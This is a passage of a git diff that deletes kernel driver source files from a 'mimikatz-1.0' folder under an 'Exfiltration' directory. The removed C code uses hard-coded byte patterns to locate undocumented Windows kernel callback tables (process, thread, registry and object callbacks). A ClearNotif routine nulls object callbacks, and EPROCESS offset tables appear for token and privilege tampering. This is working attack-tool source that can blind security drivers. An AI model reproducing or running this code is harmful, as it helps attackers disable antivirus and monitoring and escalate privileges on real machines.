- monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE));
-
- if(action == ListNotif)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name));
- for(j = 0; (j < 8) && NT_SUCCESS(status); j++)
- {
- miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j
- #ifdef _M_IX86
- - ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0)
- #endif
- );
- if(*miniProc)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]);
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
- }
- }
- }
- }
- }
- if(INDEX_OS >= INDEX_VISTA)
- {
- if(INDEX_OS < INDEX_7)
- monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK));
- else if (INDEX_OS > INDEX_7)
- monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks
-
- for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink)
- {
- if(pStruct->PreOperation || pStruct->PostOperation)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);;
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / ");
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
- }
- }
- }
- }
-
- if(action == ClearNotif)
- {
- pStruct->PreOperation = NULL;
- pStruct->PostOperation = NULL;
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n");
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- return status;
-}
-
-NTSTATUS getObpTypeDirectoryObject()
-{
- NTSTATUS retour = STATUS_NOT_FOUND;
- #ifdef _M_X64
- UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84};
- LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3;
- LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3;
- LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3;
- #elif defined _M_IX86
- UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84};
- LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2;
- LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1;
- LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2;
- #endif
-
- PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0;
- UNICODE_STRING maRoutine;
-
- if(ObpTypeDirectoryObject)
- {
- retour = STATUS_SUCCESS;
- }
- else
- {
- RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType");
- if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine))
- {
- refFin = refDebut + PAGE_SIZE;
-
- if(INDEX_OS < INDEX_8)
- {
- if(INDEX_OS < INDEX_VISTA)
- offsetTo = OFFS_WNT5_Object;
- else
- {
- offsetTo = OFFS_WNO8_Object;
- #ifdef _M_X64
- refFin = refDebut - PAGE_SIZE;
- #endif
- }
- }
- else
- offsetTo = OFFS_WIN8_Object;
-
- retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo);
- }
- }
- return retour;
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.h b/Exfiltration/mimikatz-1.0/driver/notify_object.h
deleted file mode 100644
index 96d5517..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify_object.h
+++ /dev/null
@@ -1,79 +0,0 @@
-#pragma once
-#include "notify.h"
-
-#define OBJECT_HASH_TABLE_SIZE 37
-
-typedef struct _OBJECT_DIRECTORY_ENTRY {
- struct _OBJECT_DIRECTORY_ENTRY *NextEntry;
- PVOID Object;
- ULONG HashValue; // pas en NT5
-} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY;
-
-typedef struct _OBJECT_DIRECTORY {
- POBJECT_DIRECTORY_ENTRY HashBuckets[OBJECT_HASH_TABLE_SIZE];
- EX_PUSH_LOCK Lock;
- PVOID DeviceMap;
- ULONG SessionId;
- PVOID NamespaceEntry; // a partir de l, diffrent en NT5, mais pas utilis...
- ULONG Flags;
-} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;
-
-typedef struct _OBJECT_TYPE_INITIALIZER // NT6, dcaler ULONG en NT5x86 (compens par l'alignement en x64)
-{
- SHORT Length;
- UCHAR ObjectTypeFlags;
- ULONG ObjectTypeCode;
- ULONG InvalidAttributes;
- GENERIC_MAPPING GenericMapping;
- ACCESS_MASK ValidAccessMask;
- ULONG RetainAccess;
- POOL_TYPE PoolType;
- ULONG DefaultPagedPoolCharge;
- ULONG DefaultNonPagedPoolCharge;
- PVOID DumpProcedure;
- PVOID OpenProcedure;
- PVOID CloseProcedure;
- PVOID DeleteProcedure;
- PVOID ParseProcedure;
- PVOID SecurityProcedure;
- PVOID QueryNameProcedure;
- PVOID OkayToCloseProcedure;
-} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
-
-typedef struct _OBJECT_TYPE {
- LIST_ENTRY TypeList;
- UNICODE_STRING Name;
- PVOID DefaultObject;
- UCHAR Index;
- ULONG TotalNumberOfObjects;
- ULONG TotalNumberOfHandles;
- ULONG HighWaterNumberOfObjects;
- ULONG HighWaterNumberOfHandles;
- OBJECT_TYPE_INITIALIZER TypeInfo;
- EX_PUSH_LOCK TypeLock;
- ULONG Key;
- LIST_ENTRY CallbackList;
-} OBJECT_TYPE, *POBJECT_TYPE;
-
-typedef struct _OBJECT_CALLBACK_ENTRY {
- LIST_ENTRY CallbackList;
- OB_OPERATION Operations;
- ULONG Active;
- /*OB_HANDLE*/ PVOID Handle;
- POBJECT_TYPE ObjectType;
- POB_PRE_OPERATION_CALLBACK PreOperation;
- POB_POST_OPERATION_CALLBACK PostOperation;
-} OBJECT_CALLBACK_ENTRY, *POBJECT_CALLBACK_ENTRY;
-
-typedef enum _KIWI_NOTIF_OBJECT_ACTION
-{
- ListNotif,
- ClearNotif
-} KIWI_NOTIF_OBJECT_ACTION;
-
-POBJECT_DIRECTORY * ObpTypeDirectoryObject;
-
-NTSTATUS getObpTypeDirectoryObject();
-NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
-NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
-NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action);
diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.c b/Exfiltration/mimikatz-1.0/driver/notify_process.c
deleted file mode 100644
index 87cc3ed..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify_process.c
+++ /dev/null
@@ -1,137 +0,0 @@
-#include "notify_process.h"
-
-ULONG * PspCreateProcessNotifyRoutineCount = NULL;
-ULONG * PspCreateProcessNotifyRoutineExCount = NULL;
-PVOID * PspCreateProcessNotifyRoutine = NULL;
-
-NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- NTSTATUS status;
- ULONG i;
- PKIWI_CALLBACK monCallBack;
- ULONG bonusCount;
-
- *ppszDestEnd = pszDest; *pcbRemaining= cbDest;
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyProcesses\n\n");
- if(NT_SUCCESS(status))
- {
- status = getPspCreateProcessNotifyRoutine();
- if(NT_SUCCESS(status))
- {
- bonusCount = *PspCreateProcessNotifyRoutineCount + ((INDEX_OS < INDEX_VISTA) ? 0 : *PspCreateProcessNotifyRoutineExCount);
- for(i = 0; (i < bonusCount) && NT_SUCCESS(status) ; i++)
- {
- monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateProcessNotifyRoutine[i]);
- if(monCallBack != NULL)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
- }
- }
- }
- }
- }
- }
- return status;
-}
-
-NTSTATUS getPspCreateProcessNotifyRoutine()
-{
- NTSTATUS retour = STATUS_NOT_FOUND;
- #ifdef _M_X64
- UCHAR PTRN_WNT5_Process[] = {0x41, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xeb};
- LONG OFFS_WNT5_Process = -4;
- UCHAR PTRN_WNO8_Process[] = {0x40, 0xc0, 0xed, 0x02, 0x41, 0x22, 0xee, 0xa8, 0x02, 0x0f, 0x84};
- LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 4 + 3;
- UCHAR PTRN_WIN8_Process[] = {0x40, 0xc0, 0xee, 0x02, 0x41, 0x22, 0xf6, 0xa8, 0x02, 0x0f, 0x84};
- LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process) + 4 + 3;
-
- PUCHAR REF_D_WNO8_Process = (PUCHAR) CcMdlRead;
- PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process - 25*PAGE_SIZE;
- PUCHAR REF_D_WIN8_Process = (PUCHAR) SeImpersonateClientEx;
- PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process + 25*PAGE_SIZE;
-
- LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine;
- LONG OFFS_WIN8_CountEx = OFFS_WNO8_CountEx;
- LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine;
- LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG);
- LONG OFFS_WIN8_Count = - 0x18;
- #elif defined _M_IX86
- UCHAR PTRN_WNT5_Process[] = {0x56, 0x57, 0x74};
- LONG OFFS_WNT5_Process = sizeof(PTRN_WNT5_Process) + 2;
- UCHAR PTRN_WNO8_Process[] = {0x33, 0xdb, 0xc7, 0x45};
- LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 1;
- UCHAR PTRN_WIN8_Process[] = {0x33, 0xdb, 0x89, 0x5d, 0x0c, 0xbe};
- LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process);
-
- PUCHAR REF_D_WNO8_Process = (PUCHAR) PsSetCreateProcessNotifyRoutine;
- PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process + 25*PAGE_SIZE;
- PUCHAR REF_D_WIN8_Process = (PUCHAR) IoConnectInterrupt;
- PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process - 25*PAGE_SIZE;
-
- LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine;
- LONG OFFS_WIN8_CountEx = - 0x20;
- LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine;
- LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG);
- LONG OFFS_WIN8_Count = OFFS_WIN8_CountEx - sizeof(ULONG);
- #endif
-
- PUCHAR pointeur = NULL, pattern = NULL, refDebut = NULL, refFin = NULL; SIZE_T taille = 0; LONG offsetTo = 0;
- LONG offsetToCountEx = 0, offsetToCount = 0;
-
- if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount)
- {
- retour = STATUS_SUCCESS;
- }
- else
- {
- if(INDEX_OS < INDEX_8)
- {
- if(INDEX_OS < INDEX_VISTA)
- {
- pattern = PTRN_WNT5_Process;
- taille = sizeof(PTRN_WNT5_Process);
- offsetTo = OFFS_WNT5_Process;
- offsetToCount = OFFS_WNT5_Count;
- }
- else
- {
- pattern = PTRN_WNO8_Process;
- taille = sizeof(PTRN_WNO8_Process);
- offsetTo = OFFS_WNO8_Process;
- offsetToCountEx = OFFS_WNO8_CountEx;
- offsetToCount = OFFS_WNO8_Count;
- }
- refDebut = REF_D_WNO8_Process;
- refFin = REF_F_WNO8_Process;
- }
- else
- {
- pattern = PTRN_WIN8_Process;
- taille = sizeof(PTRN_WIN8_Process);
- offsetTo = OFFS_WIN8_Process;
- refDebut = REF_D_WIN8_Process;
- refFin = REF_F_WIN8_Process;
- offsetToCountEx = OFFS_WIN8_CountEx;
- offsetToCount = OFFS_WIN8_Count;
- }
-
- retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo);
- if(NT_SUCCESS(retour))
- {
- PspCreateProcessNotifyRoutine = (PVOID) (pointeur);
- PspCreateProcessNotifyRoutineCount = (PULONG) (pointeur + offsetToCount);
- if(INDEX_OS >= INDEX_VISTA)
- PspCreateProcessNotifyRoutineExCount = (PULONG) (pointeur + offsetToCountEx);
-
- if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount)
- retour = STATUS_SUCCESS;
- }
- }
- return retour;
-}
diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.h b/Exfiltration/mimikatz-1.0/driver/notify_process.h
deleted file mode 100644
index 27cbe3a..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify_process.h
+++ /dev/null
@@ -1,12 +0,0 @@
-#pragma once
-#include "notify.h"
-
-#define MAX_NT6_PspCreateProcessNotifyRoutine 64
-#define MAX_NT5_PspCreateProcessNotifyRoutine 8
-
-ULONG * PspCreateProcessNotifyRoutineCount;
-ULONG * PspCreateProcessNotifyRoutineExCount;
-PVOID * PspCreateProcessNotifyRoutine;
-
-NTSTATUS getPspCreateProcessNotifyRoutine();
-NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.c b/Exfiltration/mimikatz-1.0/driver/notify_reg.c
deleted file mode 100644
index 843cfba..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify_reg.c
+++ /dev/null
@@ -1,137 +0,0 @@
-#include "notify_reg.h"
-
-ULONG * CmpCallBackCount = NULL;
-PVOID * CmpCallBackVector = NULL;
-PLIST_ENTRY CallbackListHead = NULL;
-
-NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- NTSTATUS status;
- ULONG i;
- PKIWI_CALLBACK monCallBack;
- PLIST_ENTRY maListe;
- PKIWI_REGISTRY6_CALLBACK monCallBack6;
-
- *ppszDestEnd = pszDest; *pcbRemaining= cbDest;
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyRegistry\n\n");
- if(NT_SUCCESS(status))
- {
- status = getNotifyRegistryRoutine();
- if(NT_SUCCESS(status))
- {
- if(INDEX_OS < INDEX_VISTA)
- {
- for(i = 0; (i < *CmpCallBackCount) && NT_SUCCESS(status) ; i++)
- {
- monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(CmpCallBackVector[i]);
- if(monCallBack != NULL)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
- L" - cookie %#.I64x\n", *(monCallBack->opt_cookie)
- );
- }
- }
- }
- }
- }
- else
- {
- for(maListe = CallbackListHead->Flink, i = 0; (maListe != CallbackListHead) && NT_SUCCESS(status) ; maListe = maListe->Flink, i++)
- {
- monCallBack6 = (PKIWI_REGISTRY6_CALLBACK) (((ULONG_PTR) maListe) + sizeof(LIST_ENTRY) + 2*((INDEX_OS < INDEX_7) ? sizeof(PVOID) : sizeof(ULONG)));
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr((ULONG_PTR) monCallBack6->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
- L" - alt %wZ - cookie %#.I64x\n", &(monCallBack6->altitude), monCallBack6->cookie);
- }
- }
- }
- }
- }
- }
- return status;
-}
-
-NTSTATUS getNotifyRegistryRoutine()
-{
- NTSTATUS retour = STATUS_NOT_FOUND;
- #ifdef _M_X64
- UCHAR PTRN_WNT5_Vector[]= {0x4c, 0x8d, 0x3d};
- UCHAR PTRN_WNT5_Count[] = {0x0f, 0xc1, 0x05};
-
- UCHAR PTRN_WN60_Head[] = {0x48, 0x8b, 0xf0, 0x48};
- LONG OFFS_WN60_Head = -9;
- UCHAR PTRN_WALL_Head[] = {0x48, 0x8b, 0xf8, 0x48};
- LONG OFFS_WALL_Head = -9;
- #elif defined _M_IX86
- UCHAR PTRN_WNT5_Vector[]= {0x53, 0x56, 0x57, 0xbb};
- UCHAR PTRN_WNT5_Count[] = {0xff, 0xb9};
-
- UCHAR PTRN_WN60_Head[] = {0x8b, 0xcb, 0xe8};
- LONG OFFS_WN60_Head = 12;
- UCHAR PTRN_WN61_Head[] = {0x8b, 0xc7, 0xe8};
- LONG OFFS_WN61_Head = -4;
- UCHAR PTRN_WIN8_Head[] = {0x53, 0x8d, 0x55};
- LONG OFFS_WIN8_Head = -4;
- #endif
- PUCHAR refDebut = (PUCHAR) CmUnRegisterCallback, refFin = refDebut + PAGE_SIZE;
- PUCHAR pattern = NULL; SIZE_T taille = 0; LONG offsetTo = 0;
-
- if((CmpCallBackVector && CmpCallBackCount) || CallbackListHead)
- {
- retour = STATUS_SUCCESS;
- }
- else
- {
- if(INDEX_OS < INDEX_VISTA)
- {
- retour = genericPointerSearch((PUCHAR *) &CmpCallBackVector, refDebut, refFin, PTRN_WNT5_Vector, sizeof(PTRN_WNT5_Vector), sizeof(PTRN_WNT5_Vector));
- if(NT_SUCCESS(retour))
- {
- retour = genericPointerSearch((PUCHAR *) &CmpCallBackCount, refDebut, refFin, PTRN_WNT5_Count, sizeof(PTRN_WNT5_Count), sizeof(PTRN_WNT5_Count));
- }
- }
- else
- {
- if(INDEX_OS < INDEX_7)
- {
- pattern = PTRN_WN60_Head;
- taille = sizeof(PTRN_WN60_Head);
- offsetTo= OFFS_WN60_Head;
- }
- else
- {
- #ifdef _M_X64
- pattern = PTRN_WALL_Head;
- taille = sizeof(PTRN_WALL_Head);
- offsetTo= OFFS_WALL_Head;
- #elif defined _M_IX86
- if(INDEX_OS < INDEX_8)
- {
- pattern = PTRN_WN61_Head;
- taille = sizeof(PTRN_WN61_Head);
- offsetTo= OFFS_WN61_Head;
- }
- else
- {
- pattern = PTRN_WIN8_Head;
- taille = sizeof(PTRN_WIN8_Head);
- offsetTo= OFFS_WIN8_Head;
- }
- #endif
- }
- retour = genericPointerSearch((PUCHAR *) &CallbackListHead, refDebut, refFin, pattern, taille, offsetTo);
- }
- }
- return retour;
-}
diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.h b/Exfiltration/mimikatz-1.0/driver/notify_reg.h
deleted file mode 100644
index ce86568..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify_reg.h
+++ /dev/null
@@ -1,17 +0,0 @@
-#pragma once
-#include "notify.h"
-
-ULONG * CmpCallBackCount;
-PVOID * CmpCallBackVector;
-PLIST_ENTRY CallbackListHead;
-
-typedef struct _KIWI_REGISTRY6_CALLBACK
-{
- LARGE_INTEGER cookie;
- PVOID context;
- PVOID callback;
- UNICODE_STRING altitude;
-} KIWI_REGISTRY6_CALLBACK, *PKIWI_REGISTRY6_CALLBACK;
-
-NTSTATUS getNotifyRegistryRoutine();
-NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.c b/Exfiltration/mimikatz-1.0/driver/notify_thread.c
deleted file mode 100644
index 41436b0..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify_thread.c
+++ /dev/null
@@ -1,111 +0,0 @@
-#include "notify_thread.h"
-
-ULONG * PspCreateThreadNotifyRoutineCount = NULL;
-PVOID * PspCreateThreadNotifyRoutine = NULL;
-
-NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- NTSTATUS status;
- ULONG i;
- PKIWI_CALLBACK monCallBack;
-
- *ppszDestEnd = pszDest; *pcbRemaining= cbDest;
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyThreads\n\n");
- if(NT_SUCCESS(status))
- {
- status = getPspCreateThreadNotifyRoutine();
- if(NT_SUCCESS(status))
- {
- for(i = 0; (i < *PspCreateThreadNotifyRoutineCount) && NT_SUCCESS(status) ; i++)
- {
- monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateThreadNotifyRoutine[i]);
- if(monCallBack != NULL)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
- if(NT_SUCCESS(status))
- {
- status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
- if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
- }
- }
- }
- }
- }
- }
- return status;
-}
-
-NTSTATUS getPspCreateThreadNotifyRoutine()
-{
- NTSTATUS retour = STATUS_NOT_FOUND;
- #ifdef _M_X64
- UCHAR PTRN_WNT5_Thread[] = {0x48, 0x8d, 0x35};
- LONG OFFS_WNT5_Thread = sizeof(PTRN_WNT5_Thread);
- UCHAR PTRN_WNT6_Thread[] = {0x48, 0x8d, 0x0d};
- LONG OFFS_WNT6_Thread = sizeof(PTRN_WNT6_Thread);
- #elif defined _M_IX86
- UCHAR PTRN_WNO8_Thread[] = {0x56, 0xbe};
- LONG OFFS_WNO8_Thread = sizeof(PTRN_WNO8_Thread);
- UCHAR PTRN_WIN8_Thread[] = {0x53, 0xbb};
- LONG OFFS_WIN8_Thread = sizeof(PTRN_WIN8_Thread);
- #endif
- LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine;
- LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT6_PspCreateThreadNotifyRoutine;
-
- PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetCreateThreadNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0;
- LONG offsetToCount = 0;
-
- if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount)
- {
- retour = STATUS_SUCCESS;
- }
- else
- {
- if(INDEX_OS < INDEX_VISTA)
- {
- #ifdef _M_X64
- pattern = PTRN_WNT5_Thread;
- taille = sizeof(PTRN_WNT5_Thread);
- offsetTo = OFFS_WNT5_Thread;
- #endif
- offsetToCount = OFFS_WNT5_Count;
- }
- else
- {
- #ifdef _M_X64
- pattern = PTRN_WNT6_Thread;
- taille = sizeof(PTRN_WNT6_Thread);
- offsetTo = OFFS_WNT6_Thread;
- #endif
- offsetToCount = OFFS_WNT6_Count;
- }
-
- #if defined _M_IX86
- if(INDEX_OS < INDEX_8)
- {
- pattern = PTRN_WNO8_Thread;
- taille = sizeof(PTRN_WNO8_Thread);
- offsetTo = OFFS_WNO8_Thread;
- }
- else
- {
- pattern = PTRN_WIN8_Thread;
- taille = sizeof(PTRN_WIN8_Thread);
- offsetTo = OFFS_WIN8_Thread;
- }
- #endif
-
- retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo);
- if(NT_SUCCESS(retour))
- {
- PspCreateThreadNotifyRoutine = (PVOID) (pointeur);
- PspCreateThreadNotifyRoutineCount = (PULONG) (pointeur + offsetToCount);
-
- if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount)
- retour = STATUS_SUCCESS;
- }
- }
- return retour;
-}
diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.h b/Exfiltration/mimikatz-1.0/driver/notify_thread.h
deleted file mode 100644
index 22499b7..0000000
--- a/Exfiltration/mimikatz-1.0/driver/notify_thread.h
+++ /dev/null
@@ -1,11 +0,0 @@
-#pragma once
-#include "notify.h"
-
-#define MAX_NT6_PspCreateThreadNotifyRoutine 64
-#define MAX_NT5_PspCreateThreadNotifyRoutine 8
-
-ULONG * PspCreateThreadNotifyRoutineCount;
-PVOID * PspCreateThreadNotifyRoutine;
-
-NTSTATUS getPspCreateThreadNotifyRoutine();
-NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
diff --git a/Exfiltration/mimikatz-1.0/driver/processes.c b/Exfiltration/mimikatz-1.0/driver/processes.c
deleted file mode 100644
index 55e13ab..0000000
--- a/Exfiltration/mimikatz-1.0/driver/processes.c
+++ /dev/null
@@ -1,146 +0,0 @@
-#include "processes.h"
-
-const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] =
-{
- /* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */
-#ifdef _M_IX86
-/* INDEX_UNK */ {0x0000, 0x0000, 0x0000},
-/* INDEX_XP */ {0x0088, 0x0000, 0x0000},
-/* INDEX_2K3 */ {0x0098, 0x0000, 0x0000},
-/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040},
-/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040},
-/* INDEX_7 */ {0x00b8, 0x026c, 0x0040},
-/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */
-/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040}
-#else
-/* INDEX_UNK */ {0x0000, 0x0000, 0x0000},
-/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */
-/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000},
-/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040},
